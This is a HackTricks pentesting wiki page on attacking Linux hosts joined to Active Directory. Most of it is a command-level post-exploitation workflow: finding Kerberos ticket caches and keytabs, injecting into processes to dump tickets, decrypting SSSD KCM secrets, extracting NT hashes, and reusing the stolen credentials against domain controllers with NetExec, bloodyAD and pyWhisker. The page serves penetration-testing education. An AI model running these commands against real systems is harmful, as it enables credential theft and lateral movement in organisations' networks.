linux-active-directory.md (13420B)
1 --- 2 title: "Linux Active Directory" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/user-information/linux-active-directory.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/user-information/linux-active-directory.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Linux Active Directory 14 15 A linux machine can also be present inside an Active Directory environment. 16 17 A Linux machine inside an AD can **store Kerberos material locally**: user ccaches, machine/service keytabs, and SSSD-managed secrets. These artefacts can usually be reused as any other Kerberos credential. In order to read most of them you will need to be the user owner of the ticket or **root** on the machine.<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup> 18 19 ## Enumeration 20 21 ### AD enumeration from linux 22 23 If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. 24 25 You can also check the following page to learn **other ways to enumerate AD from linux**: 26 27 28 [Pentesting Ldap](/hacktricks/network-services-pentesting/pentesting-ldap) 29 30 ### FreeIPA 31 32 FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes.<sup>[[14]](#references)[[15]](#references)</sup> Learn more about it in: 33 34 35 [Freeipa Pentesting](/hacktricks/linux-hardening/software-information/freeipa-pentesting) 36 37 ### Domain-joined host artefacts 38 39 Before touching tickets, identify **how the host was joined to AD** and **where Kerberos material is really stored**. On modern Linux hosts this is commonly handled by `realmd` + `adcli` + `sssd`, not just flat files in `/tmp`.<sup>[[10]](#references)</sup> 40 41 ```bash 42 # Is the host joined to a realm/domain? 43 realm list 2>/dev/null 44 adcli testjoin 2>/dev/null 45 46 # SSSD / Kerberos configuration 47 grep -R "ad_domain\|krb5_realm\|cache_credentials\|ldap_id_mapping" /etc/sssd/sssd.conf /etc/sssd/conf.d 2>/dev/null 48 grep -R "default_ccache_name" /etc/krb5.conf /etc/krb5.conf.d 2>/dev/null 49 50 # Machine account and local Kerberos artefacts 51 klist -k /etc/krb5.keytab 2>/dev/null 52 find /var/lib/sss -maxdepth 3 \( -name '*.ldb' -o -name '.secrets.mkey' -o -name 'ccache_*' \) -ls 2>/dev/null 53 find /tmp /run/user -maxdepth 2 -name 'krb5cc*' -ls 2>/dev/null 54 ``` 55 56 This quickly tells you whether the host trusts AD, whether SSSD is caching identities or tickets, and whether **machine/service keytabs** or **KCM secrets** are available for abuse.<sup>[[4]](#references)[[10]](#references)</sup> 57 58 ## Playing with tickets 59 60 ### Pass The Ticket 61 62 In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: 63 64 65 [Pass The Ticket](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket) 66 67 If you want the **Linux-specific ticket harvesting workflows** (`FILE`, `DIR`, `KEYRING`, `KCM`, `/proc`, etc.), check the dedicated page: 68 69 [Harvesting Tickets From Linux](/hacktricks/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux) 70 71 ### CCACHE ticket reuse from /tmp 72 73 CCACHE files are binary formats for **storing Kerberos credentials**. `FILE:/tmp/krb5cc_%{uid}` is still common, but modern Linux deployments also use `DIR:/run/user/%{uid}/krb5cc*`, `KEYRING:persistent:%{uid}`, or `KCM:%{uid}`. Check the **`KRB5CCNAME`** environment variable and the `default_ccache_name` setting before assuming tickets live in `/tmp`.<sup>[[1]](#references)[[3]](#references)</sup> 74 75 ```bash 76 # Where is the current process reading credentials from? 77 env | grep KRB5CCNAME 78 grep -R "default_ccache_name" /etc/krb5.conf /etc/krb5.conf.d 2>/dev/null 79 klist -l 2>/dev/null 80 81 # FILE / DIR caches commonly seen on joined Linux hosts 82 find /tmp /run/user -maxdepth 2 -name 'krb5cc*' -ls 2>/dev/null 83 84 # Prepare to reuse a FILE cache 85 export KRB5CCNAME=/tmp/krb5cc_1000 86 klist 87 ``` 88 89 ### CCACHE ticket reuse from keyring 90 91 **Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.<sup>[[1]](#references)[[16]](#references)</sup> 92 93 To configure and use this tool, the steps below are followed: 94 95 ```bash 96 git clone https://github.com/TarlogicSecurity/tickey 97 cd tickey/tickey 98 make CONF=Release 99 /tmp/tickey -i 100 ``` 101 102 This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.<sup>[[1]](#references)</sup> 103 104 ### CCACHE ticket reuse from SSSD KCM 105 106 SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.<sup>[[4]](#references)</sup> 107 108 Invoking **`SSSDKCMExtractor`** with the --database and --key parameters will parse the database and **decrypt the secrets**.<sup>[[4]](#references)</sup> 109 110 ```bash 111 git clone https://github.com/fireeye/SSSDKCMExtractor 112 python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey 113 ``` 114 115 The extractor prints raw Kerberos JSON payloads; convert them into a usable ticket cache or another ticket format before pass-the-cache/pass-the-ticket operations.<sup>[[4]](#references)</sup> 116 117 ### Quick keytab triage 118 119 ```bash 120 # Inspect available principals and enctypes 121 klist -k -e /etc/krb5.keytab 122 123 # Request a TGT directly from the keytab 124 kinit -k -t /etc/krb5.keytab 'host/web01.domain.local@DOMAIN.LOCAL' 125 klist 126 ``` 127 128 ### Extract accounts from /etc/krb5.keytab 129 130 Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.<sup>[[5]](#references)</sup> 131 132 To inspect the keytab file's contents, **`klist`** can be employed. On Linux, `klist -k -K -e` prints the principals, key version numbers, encryption types, and raw key material. If the key type is **23 / RC4-HMAC**, the key value is also the **NT hash** of that principal.<sup>[[6]](#references)[[17]](#references)</sup> 133 134 ```bash 135 klist -k -K -e /etc/krb5.keytab 136 # RC4-HMAC entries expose reusable NTLM material; AES entries do not 137 ``` 138 139 For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. Note that this only helps when the keytab still contains **etype 23 / RC4-HMAC** material. In **AES-only** environments you may not get a reusable NT hash, but you can still authenticate directly with the keytab via Kerberos.<sup>[[5]](#references)[[6]](#references)[[7]](#references)</sup> 140 141 ```bash 142 python3 keytabextract.py krb5.keytab 143 # Expected output varies based on hash availability 144 ``` 145 146 On macOS, **`bifrost`** serves as a tool for keytab file analysis.<sup>[[8]](#references)</sup> 147 148 ```bash 149 ./bifrost -action dump -source keytab -path /path/to/your/file 150 ``` 151 152 Utilizing the extracted account and hash information, connections to servers can be established using tools like **`NetExec`**.<sup>[[9]](#references)</sup> 153 154 ```bash 155 # NTLM/RC4 material recovered from etype 23 entries 156 nxc smb 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" 157 158 # Or reuse a Kerberos cache directly 159 KRB5CCNAME=owned.ccache nxc smb <DC_FQDN> --use-kcache 160 ``` 161 162 ### Reuse the machine account from `/etc/krb5.keytab` 163 164 On `realmd`/`adcli`/`sssd` joined systems, `/etc/krb5.keytab` usually contains the **computer account** and one or more **host/service principals**. If you have **root**, don't just dump it: use one of the principals listed by `klist -k` to request a TGT and operate as the Linux host itself.<sup>[[10]](#references)</sup> 165 166 ```bash 167 # Identify usable principals first 168 klist -k /etc/krb5.keytab 169 170 # Then request a TGT with one of the listed principals 171 kinit -k -t /etc/krb5.keytab 'host/web01.domain.local@DOMAIN.LOCAL' 172 klist 173 174 # Validate LDAP / service access using that machine identity 175 ldapwhoami -Y GSSAPI -H ldap://dc.domain.local 176 kvno ldap/dc.domain.local 177 ``` 178 179 This is especially useful when the **computer object** itself has delegated rights in AD or when the host is allowed to retrieve other secrets such as a **gMSA**.<sup>[[13]](#references)</sup> 180 181 ### Reuse stolen Kerberos material with Linux-first AD tooling 182 183 Once you have a valid `ccache` or a usable keytab, you can operate against AD **directly from Linux** without converting everything to Windows formats first. Many modern tools accept `KRB5CCNAME` / Kerberos auth natively.<sup>[[9]](#references)[[11]](#references)[[12]](#references)</sup> 184 185 ```bash 186 # Reuse a stolen cache with bloodyAD for LDAP-side actions 187 KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local get object 'CN=Domain Admins,CN=Users,DC=corp,DC=local' 188 189 # Reuse the same cache with pyWhisker when you already have write access 190 KRB5CCNAME=owned.ccache python3 pywhisker.py -d corp.local -k --dc-ip dc.corp.local \ 191 --target 'WEB01$' --action list 192 ``` 193 194 This is a good bridge between **Linux post-exploitation** and **AD object abuse**. For the object-level abuse paths themselves, check: 195 196 [Pentesting Ldap](/hacktricks/network-services-pentesting/pentesting-ldap) 197 198 [Shadow Credentials](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials) 199 200 ### Linux gMSA / Managed Service Account artefacts 201 202 Recent Linux deployments can consume **Managed Service Accounts** directly from AD. In practice this means that, after compromising a Linux server, you may find not only the host keytab but also **service-specific keytabs** generated from a gMSA. Common places to inspect are `/etc/gmsad.conf`, deployment-specific config files, and additional `*.keytab` files under `/etc`.<sup>[[2]](#references)[[13]](#references)</sup> 203 204 ```bash 205 # Look for gMSA-related configuration and extra keytabs 206 grep -R "gMSA_\|principal =\|keytab =" /etc/gmsad.conf /etc/gmsad.d 2>/dev/null 207 find /etc -maxdepth 2 -name '*.keytab' -ls 2>/dev/null 208 209 # Inspect the host keytab and any service keytab you find 210 klist -kt /etc/krb5.keytab 211 klist -kt /etc/service.keytab 212 213 # If a service/gMSA keytab exists, request a TGT with it 214 kinit -kt /etc/service.keytab 'svc_web$@DOMAIN.LOCAL' 215 klist 216 ``` 217 218 This gives you a reusable Kerberos identity for the SPNs bound to that gMSA **without touching any Windows endpoint**.<sup>[[13]](#references)</sup> For **domain-side** gMSA/dMSA abuse after higher privileges in AD, check: 219 220 [Golden Dmsa Gmsa](/hacktricks/windows-hardening/active-directory-methodology/golden-dmsa-gmsa) 221 222 ## References 223 224 - [1] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) 225 - [2] [Accessing AD with a managed service account – Integrating RHEL systems directly with Active Directory](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/integrating_rhel_systems_directly_with_windows_active_directory/assembly_accessing-ad-with-a-managed-service-account_integrating-rhel-systems-directly-with-active-directory) 226 - [3] [Kerberos environment variables – MIT Kerberos Documentation](https://web.mit.edu/Kerberos/krb5-latest/doc/user/user_config/kerberos.html) 227 - [4] [SSSDKCMExtractor](https://github.com/mandiant/SSSDKCMExtractor) 228 - [5] [keytab – MIT Kerberos Documentation](https://web.mit.edu/kerberos/krb5-latest/doc/basic/keytab_def.html) 229 - [6] [RFC 4757: The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows](https://www.rfc-editor.org/rfc/rfc4757) 230 - [7] [KeyTabExtract](https://github.com/sosdave/KeyTabExtract) 231 - [8] [bifrost](https://github.com/its-a-feature/bifrost) 232 - [9] [Using Kerberos | NetExec](https://www.netexec.wiki/getting-started/using-kerberos) 233 - [10] [Discovering and Joining Identity Domains | Red Hat Enterprise Linux](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/realmd-domain) 234 - [11] [bloodyAD User Guide](https://github.com/CravateRouge/bloodyAD/wiki/User-Guide) 235 - [12] [pyWhisker](https://github.com/ShutdownRepo/pywhisker) 236 - [13] [gmsad](https://github.com/cea-sec/gmsad) 237 - [14] [About | FreeIPA documentation](https://www.freeipa.org/About.html) 238 - [15] [FreeIPA 4.11.0 release notes](https://www.freeipa.org/release-notes/4-11-0.html) 239 - [16] [Yama – The Linux Kernel documentation](https://docs.kernel.org/admin-guide/LSM/Yama.html) 240 - [17] [klist – MIT Kerberos Documentation](https://web.mit.edu/kerberos/krb5-current/doc/user/user_commands/klist.html)